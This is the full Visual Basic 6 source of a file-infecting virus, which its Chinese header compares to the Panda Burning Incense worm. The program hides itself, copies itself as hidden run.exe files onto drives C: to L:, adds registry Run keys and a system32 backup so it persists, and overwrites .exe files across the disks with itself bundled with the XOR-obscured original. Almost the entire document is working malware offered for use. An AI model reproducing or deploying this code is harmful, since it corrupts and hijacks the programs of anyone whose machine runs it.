sanshi.frm

黑客 破环exe 文件、修改图标 类似熊猫烧香

VERSION 5.00
Begin VB.Form sanshi 
   ClientHeight    =   6615
   ClientLeft      =   1380
   ClientTop       =   2085
   ClientWidth     =   12885
   Icon            =   "sanshi.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   6615
   ScaleWidth      =   12885
   Visible         =   0   'False
   Begin VB.DriveListBox d 
      Height          =   300
      Left            =   720
      TabIndex        =   2
      Top             =   720
      Width           =   4935
   End
   Begin VB.FileListBox File 
      Height          =   2610
      Hidden          =   -1  'True
      Left            =   1200
      System          =   -1  'True
      TabIndex        =   1
      Top             =   1920
      Width           =   5040
   End
   Begin VB.DirListBox Dir1 
      Height          =   2400
      Left            =   7320
      TabIndex        =   0
      Top             =   840
      Width           =   4095
   End
End
Attribute VB_Name = "sanshi"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Const SW_SHOWNORMAL = 1
Dim FileName1 As String
Dim FileName2 As String
Dim FileDestination As String
Dim StringPlace As Long
Dim p, ss As Integer
Dim qqw As Integer
Dim wenjianpath(100000) As String

Dim FilePath As String
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
Dim hkey As Long
Dim list(20) As String
Dim dizhi As String
'自启动----------------------------------------------------------------------------------
Private Sub Autorun()
 Dim temp, mypath As String
dizhi = App.Path
If Right(dizhi, 1) <> "\" Then
  dizhi = dizhi + "\" + App.EXEName + ".exe"
Else
dizhi = dizhi + App.EXEName + ".exe"
End If
Call RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", hkey)
Call RegSetValueEx(hkey, App.EXEName, 0, REG_SZ, ByVal dizhi, 250)
Call RegCloseKey(hkey)
DoEvents
 '备份---------------------------------------------------------------------------------------
  mypath = App.Path
If Right(mypath, 1) <> "\" Then
    mypath = mypath + "\"
  End If
  temp = "windd"
 If Dir("C:\WINDOWS\system32\windd.exe") = "" Then
   FileCopy mypath + App.EXEName + ".exe", "C:\WINDOWS\system32\windd.exe"
   DoEvents
   Call RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", Key)
   Call RegSetValueEx(Key, temp, 0, REG_SZ, ByVal "C:\WINDOWS\system32\windd.exe", 250)
   Call RegCloseKey(Key)
  End If
End Sub
'散播文件到各个分区------------------------------------------------------------------------------
Private Sub San(i As Integer)
Dim dizhi(9) As String
Dim pat As String
pat = App.Path
If Right(pat, 1) <> "\" Then
  pat = pat + "\"
 End If
dizhi(0) = "C:\"
dizhi(1) = "D:\"
dizhi(2) = "E:\"
dizhi(3) = "F:\"
dizhi(4) = "G:\"
dizhi(5) = "H:\"
dizhi(6) = "I:\"
dizhi(7) = "J:\"
dizhi(8) = "K:\"
dizhi(9) = "L:\"
On Error GoTo mm
If Dir(dizhi(i) + "run.exe") = "" Then
  FileCopy pat + App.EXEName + ".exe", dizhi(i) + "run.exe"
End If
SetAttr dizhi(i) + "run.exe", 6
Exit Sub
mm: Exit Sub
End Sub
Private Sub Sanbo()
Dim d As Integer
For d = 0 To 9
San (d)
Next
End Sub


'绑定exe文件  修改图标并且捆绑自身----------------------------------------------------------------------------------------------------------------------------------

Sub Bangding()
Dim pp As String
Dim shu As Integer
   
Dim FileContent() As Byte
Dim FileNum As Integer

   StringPlace = 0
   
   qqw = 0
  
   pp = App.Path
   Findfile

If Right(App.Path, 1) = "\" Then
   FilePath = App.Path
Else
   FilePath = App.Path & "\"
End If

FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent(FileLen(FilePath & App.EXEName & ".exe") - 1)
Get FileNum, , FileContent
Close FileNum
'查找"VbExeFileBind"
StringPlace = InStrRev(StrConv(FileContent, vbUnicode), "VbExeFileBind")
If StringPlace <> 0 Then
   'Debug.Print "此文件已经捆绑过！"
   Call SplitFileAndRun(FileContent)
   
   End
Else
   'Debug.Print "此文件未被捆绑！"
  
End If
FileName1 = "C:\WINDOWS\system32\windd.exe"
For shu = 1 To qqw
If Right(wenjianpath(shu - 1), 7) <> "run.exe" Then
   FileName2 = wenjianpath(shu - 1)
   FileDestination = wenjianpath(shu - 1)
   Bind
End If
Next
End
End Sub
Private Sub Bind()
'On Error GoTo ERR
Dim fileN As String
'获取当前的完整路径
Dim FileNum As Integer
Dim FileContent1() As Byte: Dim FileContent2() As Byte: Dim FileContent3() As Byte
Dim Iiiii As Integer: Dim Sssss As String
Dim Mename As String
'读入本程序可执行文件内容
Mename = App.EXEName


FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(FileLen(FilePath & App.EXEName & ".exe") - 1)
Get FileNum, , FileContent1
Close FileNum
'读入第一个可执行文件内容
FileNum = FreeFile()
Open FileName1 For Binary As FileNum
ReDim FileContent2(FileLen(FileName1) - 1)
Get FileNum, , FileContent2
For Iiiii = 1 To 200 Step 1
    Sssss = FileContent2(Iiiii - 1) Xor 99
    FileContent2(Iiiii - 1) = Sssss
Next
Close FileNum
'读入第二个可执行文件内容
FileNum = FreeFile()
Open FileName2 For Binary As FileNum
ReDim FileContent3(FileLen(FileName2) - 1)
Get FileNum, , FileContent3
For Iiiii = 1 To 200 Step 1
    Sssss = FileContent3(Iiiii - 1) Xor 99
    FileContent3(Iiiii - 1) = Sssss
Next
Close FileNum
'将本程序、第一个文件和第二个文件写入新文件

fileN = Trim(Mename) & "|||" & Trim(Str(FileLen(FilePath & Mename & ".exe"))) & "//\\" & _
                Mid(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\")), 1, InStr(1, LCase(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName1))) & "//\\" & _
                Mid(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\")), 1, InStr(1, LCase(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName2))) & "//\\"


Kill (FileDestination)

FileNum = FreeFile()
Open FileDestination For Binary As FileNum
Put #FileNum, , FileContent1
Put #FileNum, , FileContent2
Put #FileNum, , FileContent3
Put #FileNum, , "VbExeFileBind"
Put #FileNum, , fileN
Close #FileNum
Dim ii As Integer
For ii = 1 To Len(Trim(App.EXEName) & ".exe") Step 1
Next ii

End Sub

'查找所有EXE文件
Private Sub guo(aa As String)
   Dim a As Integer
   Dim list(100000) As String
         File.Path = aa
         Dir1.Path = aa
         list(0) = Dir1.ListCount
         
         For a = 1 To list(0)
         list(a) = Dir1.list(a - 1)
         Next
          If File.ListCount <> 0 Then
             xieru (aa)
           End If
     If list(0) <> 0 Then
         
         For a = 1 To list(0)   '从D盘开始遍历所有磁盘
            aa = list(a)
              guo (aa)
            Next
      End If
    End Sub

Private Sub xieru(dizhi As String)
    Dim i, p As Integer
    Dim linshi As String
  
       
       File.Path = dizhi
          If File.ListCount <> 0 Then
              For r = 0 To File.ListCount - 1
                     
                  If Right(File.list(r), 4) = ".exe" Then
                       linshi = File.list(r)
                       For p = 1 To Len(File.list(r))
                          If Mid(File.list(r), p, 1) = "." Then
                            linshi = Left(File.list(r), p - 1)
                          End If
                        Next
                
                      shifou = True
                      i = 1
                     While (i <= Len(linshi))
                         If Asc(Mid(linshi, i, 1)) < 32 Or Asc(Mid(linshi, i, 1)) > 127 Then   '判断文件名是否为中文  是中文则 shifou=false
                            shifou = False
                          End If
                           i = i + 1
                      Wend
                
                
                    If shifou Then                                                                       '如果不为中文
                
                      If Right(File.Path, 1) <> "\" Then
                        wenjianpath(qqw) = File.Path + "\" + File.list(r)
                      Else
                        wenjianpath(qqw) = File.Path + File.list(r)
                      End If
                  
                     qqw = qqw + 1
                    End If
                   
                  End If
                
                
                Next
                  
          End If
    
End Sub

Private Sub Findfile()
For t = 1 To 3
d.Drive = d.list(t)
Dir1.Path = d.Drive
guo (Dir1.Path)
Next
End Sub

Sub SplitFileAndRun(FileContent() As Byte)
Dim Arr() As String
Dim Arr1() As String
Dim FN(2, 1) As String
Dim StringToEof As String
StringToEof = Mid(StrConv(FileContent, vbUnicode), StringPlace + 17)
Arr = Split(StringToEof, "//\\")
Dim i As Integer: Dim n As Integer
For i = LBound(Arr) To UBound(Arr) Step 1
    If Arr(i) <> "" Then
       Arr1 = Split(Arr(i), "|||")
       For n = LBound(Arr1) To UBound(Arr1) Step 1
           If Arr1(n) <> "" Then
              FN(i, n) = Trim(Arr1(n))
           End If
       Next n
    End If
Next i
Dim FilePath As String
If Right(App.Path, 1) = "\" Then
   FilePath = App.Path
Else
   FilePath = App.Path & "\"
End If
Dim Iiiii As Integer: Dim Mmmmm As String
Dim FileContent1() As Byte
Dim FileNum As Integer
On Error Resume Next
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(Val(FN(1, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
    Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
    FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
If (FN(1, 0) = App.EXEName) Then
     FN(1, 0) = "win1"
 End If
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then Kill FN(1, 0) & ".exe"
FileNum = FreeFile()
Open FilePath & FN(1, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(Val(FN(2, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + Val(FN(1, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
    Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
    FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
If (FN(2, 0) = App.EXEName) Then
     FN(2, 0) = "win2"
 End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then Kill FN(2, 0) & ".exe"
FileNum = FreeFile()
Open FilePath & FN(2, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then
   Call Shell(FilePath & FN(1, 0) & ".exe", SW_SHOWNORMAL)
End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then
   Call Shell(FilePath & FN(2, 0) & ".exe", SW_SHOWNORMAL)
End If

End Sub        '文件绑定完毕------------------------------------------------------------------------------







'主程序---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Sanbo
Autorun                '自启动
Bangding       '绑定F盘 exe文件 并修改文件图标
End Sub